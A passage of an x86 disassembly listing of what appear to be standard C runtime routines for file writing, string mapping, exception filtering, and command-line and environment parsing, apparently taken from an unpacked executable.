esi push edi mov edi, [ebp+arg_0] xor ebx, ebx mov esi, [edi+10h] cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_4227E1 mov [edi+4], ebx loc_4227E1: ; CODE XREF: sub_4227C5+17j push 1 push ebx push esi call sub_42272B add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_42284F mov edx, [edi+0Ch] test dx, 108h jnz short loc_422806 sub eax, [edi+4] jmp loc_422918 ; --------------------------------------------------------------------------- loc_422806: ; CODE XREF: sub_4227C5+37j mov eax, [edi] mov ecx, [edi+8] mov ebx, eax sub ebx, ecx test dl, 3 mov [ebp+var_8], ebx jz short loc_422840 mov edx, esi mov ebx, esi sar edx, 5 and ebx, 1Fh mov edx, dword_4DCC80[edx*4] test byte ptr [edx+ebx*8+4], 80h jz short loc_422857 mov edx, ecx loc_422831: ; CODE XREF: sub_4227C5+79j cmp edx, eax jnb short loc_422857 cmp byte ptr [edx], 0Ah jnz short loc_42283D inc [ebp+var_8] loc_42283D: ; CODE XREF: sub_4227C5+73j inc edx jmp short loc_422831 ; --------------------------------------------------------------------------- loc_422840: ; CODE XREF: sub_4227C5+50j test dl, 80h jnz short loc_422857 mov dword_4DB938, 16h loc_42284F: ; CODE XREF: sub_4227C5+2Dj or eax, 0FFFFFFFFh jmp loc_422918 ; --------------------------------------------------------------------------- loc_422857: ; CODE XREF: sub_4227C5+68j ; sub_4227C5+6Ej ... cmp [ebp+var_4], 0 jnz short loc_422865 mov eax, [ebp+var_8] jmp loc_422918 ; --------------------------------------------------------------------------- loc_422865: ; CODE XREF: sub_4227C5+96j test byte ptr [edi+0Ch], 1 jz loc_422910 mov edx, [edi+4] test edx, edx jnz short loc_42287E and [ebp+var_8], edx jmp loc_422910 ; --------------------------------------------------------------------------- loc_42287E: ; CODE XREF: sub_4227C5+AFj sub eax, ecx add eax, edx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 and esi, 1Fh lea ebx, ds:4DCC80h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [esi+eax+4], 80h jz short loc_42290A push 2 push 0 push [ebp+var_C] call sub_42272B add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_4228D1 mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax loc_4228BC: ; CODE XREF: sub_4227C5+104j cmp eax, ecx jnb short loc_4228CB cmp byte ptr [eax], 0Ah jnz short loc_4228C8 inc [ebp+arg_0] loc_4228C8: ; CODE XREF: sub_4227C5+FEj inc eax jmp short loc_4228BC ; --------------------------------------------------------------------------- loc_4228CB: ; CODE XREF: sub_4227C5+F9j test byte ptr [edi+0Dh], 20h jmp short loc_422905 ; --------------------------------------------------------------------------- loc_4228D1: ; CODE XREF: sub_4227C5+EDj push 0 push [ebp+var_4] push [ebp+var_C] call sub_42272B mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_4228F8 mov ecx, [edi+0Ch] test cl, 8 jz short loc_4228F8 test ch, 4 jz short loc_4228FB loc_4228F8: ; CODE XREF: sub_4227C5+124j ; sub_4227C5+12Cj mov eax, [edi+18h] loc_4228FB: ; CODE XREF: sub_4227C5+131j mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_422905: ; CODE XREF: sub_4227C5+10Aj jz short loc_42290A inc [ebp+arg_0] loc_42290A: ; CODE XREF: sub_4227C5+D9j ; sub_4227C5:loc_422905j mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_422910: ; CODE XREF: sub_4227C5+A4j ; sub_4227C5+B4j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_422918: ; CODE XREF: sub_4227C5+3Cj ; sub_4227C5+8Dj ... pop edi pop esi pop ebx leave retn sub_4227C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42291D proc near ; CODE XREF: sub_41D2B4+A2p ; sub_41DB8B+2Cp ... var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h mov ecx, [ebp+arg_0] push ebx cmp ecx, dword_4DCD80 push esi push edi jnb loc_422AB1 mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea ebx, ds:4DCC80h[eax*4] shl esi, 3 mov eax, [ebx] mov al, [eax+esi+4] test al, 1 jz loc_422AB1 xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_8], edi mov [ebp+var_10], edi jnz short loc_42296E loc_422967: ; CODE XREF: sub_42291D+177j xor eax, eax jmp loc_422AC5 ; --------------------------------------------------------------------------- loc_42296E: ; CODE XREF: sub_42291D+48j test al, 20h jz short loc_42297E push 2 push edi push ecx call sub_42272B add esp, 0Ch loc_42297E: ; CODE XREF: sub_42291D+53j mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_422A4D mov eax, [ebp+arg_4] cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+arg_0], edi jbe loc_422A85 loc_42299E: ; CODE XREF: sub_42291D+F5j lea eax, [ebp+var_414] loc_4229A4: ; CODE XREF: sub_42291D+B9j mov ecx, [ebp+var_4] sub ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_4229D8 mov ecx, [ebp+var_4] inc [ebp+var_4] mov cl, [ecx] cmp cl, 0Ah jnz short loc_4229C3 inc [ebp+var_10] mov byte ptr [eax], 0Dh inc eax loc_4229C3: ; CODE XREF: sub_42291D+9Dj mov [eax], cl inc eax mov ecx, eax lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jl short loc_4229A4 loc_4229D8: ; CODE XREF: sub_42291D+90j mov edi, eax lea eax, [ebp+var_414] sub edi, eax lea eax, [ebp+var_C] push 0 push eax lea eax, [ebp+var_414] push edi push eax mov eax, [ebx] push dword ptr [eax+esi] call dword_4270E0 ; WriteFile test eax, eax jz short loc_422A42 mov eax, [ebp+var_C] add [ebp+var_8], eax cmp eax, edi jl short loc_422A14 mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jb short loc_42299E loc_422A14: ; CODE XREF: sub_42291D+EAj ; sub_42291D+12Ej xor edi, edi loc_422A16: ; CODE XREF: sub_42291D+150j ; sub_42291D+15Bj mov eax, [ebp+var_8] cmp eax, edi jnz loc_422AAC cmp [ebp+arg_0], edi jz short loc_422A85 push 5 pop eax cmp [ebp+arg_0], eax jnz short loc_422A7A mov dword_4DB938, 9 mov dword_4DB93C, eax jmp loc_422AC2 ; --------------------------------------------------------------------------- loc_422A42: ; CODE XREF: sub_42291D+E0j call dword_42708C ; RtlGetLastWin32Error mov [ebp+arg_0], eax jmp short loc_422A14 ; --------------------------------------------------------------------------- loc_422A4D: ; CODE XREF: sub_42291D+69j lea ecx, [ebp+var_C] push edi push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] call dword_4270E0 ; WriteFile test eax, eax jz short loc_422A6F mov eax, [ebp+var_C] mov [ebp+arg_0], edi mov [ebp+var_8], eax jmp short loc_422A16 ; --------------------------------------------------------------------------- loc_422A6F: ; CODE XREF: sub_42291D+145j call dword_42708C ; RtlGetLastWin32Error mov [ebp+arg_0], eax jmp short loc_422A16 ; --------------------------------------------------------------------------- loc_422A7A: ; CODE XREF: sub_42291D+10Fj push [ebp+arg_0] call sub_4203DF pop ecx jmp short loc_422AC2 ; --------------------------------------------------------------------------- loc_422A85: ; CODE XREF: sub_42291D+7Bj ; sub_42291D+107j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_422A9A mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jz loc_422967 loc_422A9A: ; CODE XREF: sub_42291D+16Fj mov dword_4DB938, 1Ch mov dword_4DB93C, edi jmp short loc_422AC2 ; --------------------------------------------------------------------------- loc_422AAC: ; CODE XREF: sub_42291D+FEj sub eax, [ebp+var_10] jmp short loc_422AC5 ; --------------------------------------------------------------------------- loc_422AB1: ; CODE XREF: sub_42291D+15j ; sub_42291D+37j and dword_4DB93C, 0 mov dword_4DB938, 9 loc_422AC2: ; CODE XREF: sub_42291D+120j ; sub_42291D+166j ... or eax, 0FFFFFFFFh loc_422AC5: ; CODE XREF: sub_42291D+4Cj ; sub_42291D+192j pop edi pop esi pop ebx leave retn sub_42291D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422ACA proc near ; CODE XREF: sub_41D5AA+47p ; sub_41D5AA+74p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427948 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi cmp dword_4DBA0C, edi jnz short loc_422B40 push edi push edi push 1 pop ebx push ebx push offset dword_427940 mov esi, 100h push esi push edi call dword_427050 ; LCMapStringW test eax, eax jz short loc_422B1E mov dword_4DBA0C, ebx jmp short loc_422B40 ; --------------------------------------------------------------------------- loc_422B1E: ; CODE XREF: sub_422ACA+4Aj push edi push edi push ebx push offset dword_4CB4EC push esi push edi call dword_427054 ; LCMapStringA test eax, eax jz loc_422C58 mov dword_4DBA0C, 2 loc_422B40: ; CODE XREF: sub_422ACA+2Ej ; sub_422ACA+52j cmp [ebp+arg_C], edi jle short loc_422B55 push [ebp+arg_C] push [ebp+arg_8] call sub_426180 pop ecx pop ecx mov [ebp+arg_C], eax loc_422B55: ; CODE XREF: sub_422ACA+79j mov eax, dword_4DBA0C cmp eax, 2 jnz short loc_422B7C push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_427054 ; LCMapStringA jmp loc_422C5A ; --------------------------------------------------------------------------- loc_422B7C: ; CODE XREF: sub_422ACA+93j cmp eax, 1 jnz loc_422C58 cmp [ebp+arg_18], edi jnz short loc_422B92 mov eax, dword_4DBA04 mov [ebp+arg_18], eax loc_422B92: ; CODE XREF: sub_422ACA+BEj push edi push edi push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_1C] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_18] call dword_427180 ; MultiByteToWideChar mov ebx, eax mov [ebp+var_1C], ebx cmp ebx, edi jz loc_422C58 mov [ebp+var_4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_422BED ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_24], edi or [ebp+var_4], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_422BED: ; CODE XREF: sub_422ACA+10Ej cmp [ebp+var_24], edi jz short loc_422C58 push ebx push [ebp+var_24] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] call dword_427180 ; MultiByteToWideChar test eax, eax jz short loc_422C58 push edi push edi push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_427050 ; LCMapStringW mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz short loc_422C58 test byte ptr [ebp+arg_4+1], 4 jz short loc_422C6C cmp [ebp+arg_14], edi jz loc_422CE7 cmp esi, [ebp+arg_14] jg short loc_422C58 push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_427050 ; LCMapStringW test eax, eax jnz loc_422CE7 loc_422C58: ; CODE XREF: sub_422ACA+66j ; sub_422ACA+B5j ... xor eax, eax loc_422C5A: ; CODE XREF: sub_422ACA+ADj ; sub_422ACA+21Fj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_422C6C: ; CODE XREF: sub_422ACA+160j mov [ebp+var_4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_422CA0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_422CA0: ; CODE XREF: sub_422ACA+1C2j cmp ebx, edi jz short loc_422C58 push esi push ebx push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_427050 ; LCMapStringW test eax, eax jz short loc_422C58 cmp [ebp+arg_14], edi push edi push edi jnz short loc_422CC7 push edi push edi jmp short loc_422CCD ; --------------------------------------------------------------------------- loc_422CC7: ; CODE XREF: sub_422ACA+1F7j push [ebp+arg_14] push [ebp+arg_10] loc_422CCD: ; CODE XREF: sub_422ACA+1FBj push esi push ebx push 220h push [ebp+arg_18] call dword_42717C ; WideCharToMultiByte mov esi, eax cmp esi, edi jz loc_422C58 loc_422CE7: ; CODE XREF: sub_422ACA+165j ; sub_422ACA+188j mov eax, esi jmp loc_422C5A sub_422ACA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422CEE proc near ; CODE XREF: sub_41D933+E3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push [ebp+arg_0] call sub_422E2F test eax, eax pop ecx jz loc_422E23 mov ebx, [eax+8] test ebx, ebx jz loc_422E23 cmp ebx, 5 jnz short loc_422D1F and dword ptr [eax+8], 0 push 1 pop eax jmp loc_422E2C ; --------------------------------------------------------------------------- loc_422D1F: ; CODE XREF: sub_422CEE+23j cmp ebx, 1 jz loc_422E1E mov ecx, dword_4DBA10 mov [ebp+arg_0], ecx mov ecx, [ebp+arg_4] mov dword_4DBA10, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_422E0E mov ecx, dword_43D000 mov edx, dword_43D004 add edx, ecx push esi cmp ecx, edx jge short loc_422D6E lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:43CF90h[esi*4] loc_422D65: ; CODE XREF: sub_422CEE+7Ej and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_422D65 loc_422D6E: ; CODE XREF: sub_422CEE+69j mov eax, [eax] mov esi, dword_43D00C cmp eax, 0C000008Eh jnz short loc_422D89 mov dword_43D00C, 83h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422D89: ; CODE XREF: sub_422CEE+8Dj cmp eax, 0C0000090h jnz short loc_422D9C mov dword_43D00C, 81h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422D9C: ; CODE XREF: sub_422CEE+A0j cmp eax, 0C0000091h jnz short loc_422DAF mov dword_43D00C, 84h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DAF: ; CODE XREF: sub_422CEE+B3j cmp eax, 0C0000093h jnz short loc_422DC2 mov dword_43D00C, 85h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DC2: ; CODE XREF: sub_422CEE+C6j cmp eax, 0C000008Dh jnz short loc_422DD5 mov dword_43D00C, 82h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DD5: ; CODE XREF: sub_422CEE+D9j cmp eax, 0C000008Fh jnz short loc_422DE8 mov dword_43D00C, 86h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DE8: ; CODE XREF: sub_422CEE+ECj cmp eax, 0C0000092h jnz short loc_422DF9 mov dword_43D00C, 8Ah loc_422DF9: ; CODE XREF: sub_422CEE+99j ; sub_422CEE+ACj ... push dword_43D00C push 8 call ebx pop ecx mov dword_43D00C, esi pop ecx pop esi jmp short loc_422E16 ; --------------------------------------------------------------------------- loc_422E0E: ; CODE XREF: sub_422CEE+52j and dword ptr [eax+8], 0 push ecx call ebx pop ecx loc_422E16: ; CODE XREF: sub_422CEE+11Ej mov eax, [ebp+arg_0] mov dword_4DBA10, eax loc_422E1E: ; CODE XREF: sub_422CEE+34j or eax, 0FFFFFFFFh jmp short loc_422E2C ; --------------------------------------------------------------------------- loc_422E23: ; CODE XREF: sub_422CEE+Fj ; sub_422CEE+1Aj push [ebp+arg_4] call dword_42704C ; UnhandledExceptionFilter loc_422E2C: ; CODE XREF: sub_422CEE+2Cj ; sub_422CEE+133j pop ebx pop ebp retn sub_422CEE endp ; =============== S U B R O U T I N E ======================================= sub_422E2F proc near ; CODE XREF: sub_422CEE+7p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43D008 cmp dword_43CF88, edx push esi mov eax, offset dword_43CF88 jz short loc_422E5C lea esi, [ecx+ecx*2] lea esi, ds:43CF88h[esi*4] loc_422E51: ; CODE XREF: sub_422E2F+2Bj add eax, 0Ch cmp eax, esi jnb short loc_422E5C cmp [eax], edx jnz short loc_422E51 loc_422E5C: ; CODE XREF: sub_422E2F+16j ; sub_422E2F+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43CF88h[ecx*4] cmp eax, ecx jnb short loc_422E6F cmp [eax], edx jz short locret_422E71 loc_422E6F: ; CODE XREF: sub_422E2F+3Aj xor eax, eax locret_422E71: ; CODE XREF: sub_422E2F+3Ej retn sub_422E2F endp ; =============== S U B R O U T I N E ======================================= sub_422E72 proc near ; CODE XREF: sub_41D933+A5p cmp dword_4DCFD4, 0 jnz short loc_422E80 call sub_42026D loc_422E80: ; CODE XREF: sub_422E72+7j push esi mov esi, dword_4DCFCC mov al, [esi] cmp al, 22h jnz short loc_422EB2 loc_422E8D: ; CODE XREF: sub_422E72+33j ; sub_422E72+36j mov al, [esi+1] inc esi cmp al, 22h jz short loc_422EAA test al, al jz short loc_422EAA movzx eax, al push eax call sub_424D36 test eax, eax pop ecx jz short loc_422E8D inc esi jmp short loc_422E8D ; --------------------------------------------------------------------------- loc_422EAA: ; CODE XREF: sub_422E72+21j ; sub_422E72+25j cmp byte ptr [esi], 22h jnz short loc_422EBC loc_422EAF: ; CODE XREF: sub_422E72+52j inc esi jmp short loc_422EBC ; --------------------------------------------------------------------------- loc_422EB2: ; CODE XREF: sub_422E72+19j cmp al, 20h jbe short loc_422EBC loc_422EB6: ; CODE XREF: sub_422E72+48j inc esi cmp byte ptr [esi], 20h ja short loc_422EB6 loc_422EBC: ; CODE XREF: sub_422E72+3Bj ; sub_422E72+3Ej ... mov al, [esi] test al, al jz short loc_422EC6 cmp al, 20h jbe short loc_422EAF loc_422EC6: ; CODE XREF: sub_422E72+4Ej mov eax, esi pop esi retn sub_422E72 endp ; =============== S U B R O U T I N E ======================================= sub_422ECA proc near ; CODE XREF: sub_41D933+8Ep push ebx xor ebx, ebx cmp dword_4DCFD4, ebx push esi push edi jnz short loc_422EDC call sub_42026D loc_422EDC: ; CODE XREF: sub_422ECA+Bj mov esi, dword_4DB9A8 xor edi, edi loc_422EE4: ; CODE XREF: sub_422ECA+30j mov al, [esi] cmp al, bl jz short loc_422EFC cmp al, 3Dh jz short loc_422EEF inc edi loc_422EEF: ; CODE XREF: sub_422ECA+22j push esi call sub_41AFE0 pop ecx lea esi, [esi+eax+1] jmp short loc_422EE4 ; --------------------------------------------------------------------------- loc_422EFC: ; CODE XREF: sub_422ECA+1Ej lea eax, ds:4[edi*4] push eax call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx mov dword_4DB960, esi jnz short loc_422F1E push 9 call sub_41DA29 pop ecx loc_422F1E: ; CODE XREF: sub_422ECA+4Aj mov edi, dword_4DB9A8 cmp [edi], bl jz short loc_422F61 push ebp loc_422F29: ; CODE XREF: sub_422ECA+94j push edi call sub_41AFE0 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_422F5A push ebp call sub_41B4D5 cmp eax, ebx pop ecx mov [esi], eax jnz short loc_422F4D push 9 call sub_41DA29 pop ecx loc_422F4D: ; CODE XREF: sub_422ECA+79j push edi push dword ptr [esi] call sub_41BEB0 pop ecx add esi, 4 pop ecx loc_422F5A: ; CODE XREF: sub_422ECA+6Cj add edi, ebp cmp [edi], bl jnz short loc_422F29 pop ebp loc_422F61: ; CODE XREF: sub_422ECA+5Cj push dword_4DB9A8 call sub_41B0B1 pop ecx mov dword_4DB9A8, ebx mov [esi], ebx pop edi pop esi mov dword_4DCFD0, 1 pop ebx retn sub_422ECA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422F83 proc near ; CODE XREF: sub_41D933+89p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp dword_4DCFD4, ebx push esi push edi jnz short loc_422F9A call sub_42026D loc_422F9A: ; CODE XREF: sub_422F83+10j mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 104h push esi push ebx call dword_427070 ; GetModuleFileNameA mov eax, dword_4DCFCC mov off_4DB970, esi mov edi, esi cmp [eax], bl jz short loc_422FBF mov edi, eax loc_422FBF: ; CODE XREF: sub_422F83+38j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push ebx push ebx push edi call sub_42301C mov eax, [ebp+var_8] mov ecx, [ebp+var_4] lea eax, [eax+ecx*4] push eax call sub_41B4D5 mov esi, eax add esp, 18h cmp esi, ebx jnz short loc_422FEF push 8 call sub_41DA29 pop ecx loc_422FEF: ; CODE XREF: sub_422F83+62j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax mov eax, [ebp+var_4] lea eax, [esi+eax*4] push eax push esi push edi call sub_42301C mov eax, [ebp+var_4] add esp, 14h dec eax mov dword_4DB958, esi pop edi pop esi mov dword_4DB954, eax pop ebx leave retn sub_422F83 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42301C proc near ; CODE XREF: sub_422F83+47p ; sub_422F83+7Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_423046 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_423046: ; CODE XREF: sub_42301C+20j cmp byte ptr [eax], 22h jnz short loc_42308F loc_42304B: ; CODE XREF: sub_42301C+58j ; sub_42301C+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_42307D test dl, dl jz short loc_42307D movzx edx, dl test byte_4DCEA1[edx], 4 jz short loc_423070 inc dword ptr [ecx] test esi, esi jz short loc_423070 mov dl, [eax] mov [esi], dl inc esi inc eax loc_423070: ; CODE XREF: sub_42301C+46j ; sub_42301C+4Cj inc dword ptr [ecx] test esi, esi jz short loc_42304B mov dl, [eax] mov [esi], dl inc esi jmp short loc_42304B ; --------------------------------------------------------------------------- loc_42307D: ; CODE XREF: sub_42301C+36j ; sub_42301C+3Aj inc dword ptr [ecx] test esi, esi jz short loc_423087 and byte ptr [esi], 0 inc esi loc_423087: ; CODE XREF: sub_42301C+65j cmp byte ptr [eax], 22h jnz short loc_4230D2 inc eax jmp short loc_4230D2 ; --------------------------------------------------------------------------- loc_42308F: ; CODE XREF: sub_42301C+2Dj ; sub_42301C+A5j inc dword ptr [ecx] test esi, esi jz short loc_42309A mov dl, [eax] mov [esi], dl inc esi loc_42309A: ; CODE XREF: sub_42301C+77j mov dl, [eax] inc eax movzx ebx, dl test byte_4DCEA1[ebx], 4 jz short loc_4230B5 inc dword ptr [ecx] test esi, esi jz short loc_4230B4 mov bl, [eax] mov [esi], bl inc esi loc_4230B4: ; CODE XREF: sub_42301C+91j inc eax loc_4230B5: ; CODE XREF: sub_42301C+8Bj cmp dl, 20h jz short loc_4230C3 test dl, dl jz short loc_4230C7 cmp dl, 9 jnz short loc_42308F loc_4230C3: ; CODE XREF: sub_42301C+9Cj test dl, dl jnz short loc_4230CA loc_4230C7: ; CODE XREF: sub_42301C+A0j dec eax jmp short loc_4230D2 ; --------------------------------------------------------------------------- loc_4230CA: ; CODE XREF: sub_42301C+A9j test esi, esi jz short loc_4230D2 and byte ptr [esi-1], 0 loc_4230D2: ; CODE XREF: sub_42301C+6Ej ; sub_42301C+71j ... and [ebp+arg_10], 0 loc_4230D6: ; CODE XREF: sub_42301C+19Ej cmp byte ptr [eax], 0 jz loc_4231BF loc_4230DF: ; CODE XREF: sub_42301C+D0j mov dl, [eax] cmp dl, 20h jz short loc_4230EB cmp dl, 9 jnz short loc_4230EE loc_4230EB: ; CODE XREF: sub_42301C+C8j inc eax jmp short loc_4230DF ; --------------------------------------------------------------------------- loc_4230EE: ; CODE XREF: sub_42301C+CDj cmp byte ptr [eax], 0 jz loc_4231BF test edi, edi jz short loc_423103 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_423103: ; CODE XREF: sub_42301C+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_423108: ; CODE XREF: sub_42301C+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_423111: ; CODE XREF: sub_42301C+FCj cmp byte ptr [eax], 5Ch jnz short loc_42311A inc eax inc ebx jmp short loc_423111 ; --------------------------------------------------------------------------- loc_42311A: ; CODE XREF: sub_42301C+F8j cmp byte ptr [eax], 22h jnz short loc_42314B test bl, 1 jnz short loc_423149 xor edi, edi cmp [ebp+arg_10], edi jz short loc_423138 cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_423138 mov eax, edx jmp short loc_42313B ; --------------------------------------------------------------------------- loc_423138: ; CODE XREF: sub_42301C+10Dj ; sub_42301C+116j mov [ebp+arg_0], edi loc_42313B: ; CODE XREF: sub_42301C+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_423149: ; CODE XREF: sub_42301C+106j shr ebx, 1 loc_42314B: ; CODE XREF: sub_42301C+101j mov edx, ebx dec ebx test edx, edx jz short loc_423160 inc ebx loc_423153: ; CODE XREF: sub_42301C+142j test esi, esi jz short loc_42315B mov byte ptr [esi], 5Ch inc esi loc_42315B: ; CODE XREF: sub_42301C+139j inc dword ptr [ecx] dec ebx jnz short loc_423153 loc_423160: ; CODE XREF: sub_42301C+134j mov dl, [eax] test dl, dl jz short loc_4231B0 cmp [ebp+arg_10], 0 jnz short loc_423176 cmp dl, 20h jz short loc_4231B0 cmp dl, 9 jz short loc_4231B0 loc_423176: ; CODE XREF: sub_42301C+14Ej cmp [ebp+arg_0], 0 jz short loc_4231AA test esi, esi jz short loc_423199 movzx ebx, dl test byte_4DCEA1[ebx], 4 jz short loc_423192 mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_423192: ; CODE XREF: sub_42301C+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_4231A8 ; --------------------------------------------------------------------------- loc_423199: ; CODE XREF: sub_42301C+162j movzx edx, dl test byte_4DCEA1[edx], 4 jz short loc_4231A8 inc eax inc dword ptr [ecx] loc_4231A8: ; CODE XREF: sub_42301C+17Bj ; sub_42301C+187j inc dword ptr [ecx] loc_4231AA: ; CODE XREF: sub_42301C+15Ej inc eax jmp loc_423108 ; --------------------------------------------------------------------------- loc_4231B0: ; CODE XREF: sub_42301C+148j ; sub_42301C+153j ... test esi, esi jz short loc_4231B8 and byte ptr [esi], 0 inc esi loc_4231B8: ; CODE XREF: sub_42301C+196j inc dword ptr [ecx] jmp loc_4230D6 ; --------------------------------------------------------------------------- loc_4231BF: ; CODE XREF: sub_42301C+BDj ; sub_42301C+D5j test edi, edi jz short loc_4231C6 and dword ptr [edi], 0 loc_4231C6: ; CODE XREF: sub_42301C+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_42301C endp ; =============== S U B R O U T I N E ======================================= sub_4231D0 proc near ; CODE XREF: sub_41D933+7Fp var_8 = dword ptr -8 var_4 = dword ptr -4 push ecx push ecx mov eax, dword_4DBB18 push ebx push ebp mov ebp, dword_42703C push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_42321E call ebp ; GetEnvironmentStringsW mov esi, eax cmp esi, ebx jz short loc_4231FF mov dword_4DBB18, 1 jmp short loc_423227 ; --------------------------------------------------------------------------- loc_4231FF: ; CODE XREF: sub_4231D0+21j call dword_427040 ; GetEnvironmentStrings mov edi, eax cmp edi, ebx jz loc_4232F9 mov dword_4DBB18, 2 jmp loc_4232AD ; --------------------------------------------------------------------------- loc_42321E: ; CODE XREF: sub_4231D0+19j cmp eax, 1 jnz loc_4232A8 loc_423227: ; CODE XREF: sub_4231D0+2Dj cmp esi, ebx jnz short loc_423237 call ebp ; GetEnvironmentStringsW mov esi, eax cmp esi, ebx jz loc_4232F9 loc_423237: ; CODE XREF: sub_4231D0+59j cmp [esi], bx mov eax, esi jz short loc_42324C loc_42323E: ; CODE XREF: sub_4231D0+73j ; sub_4231D0+7Aj inc eax inc eax cmp [eax], bx jnz short loc_42323E inc eax inc eax cmp [eax], bx jnz short loc_42323E loc_42324C: ; CODE XREF: sub_4231D0+6Cj sub eax, esi mov 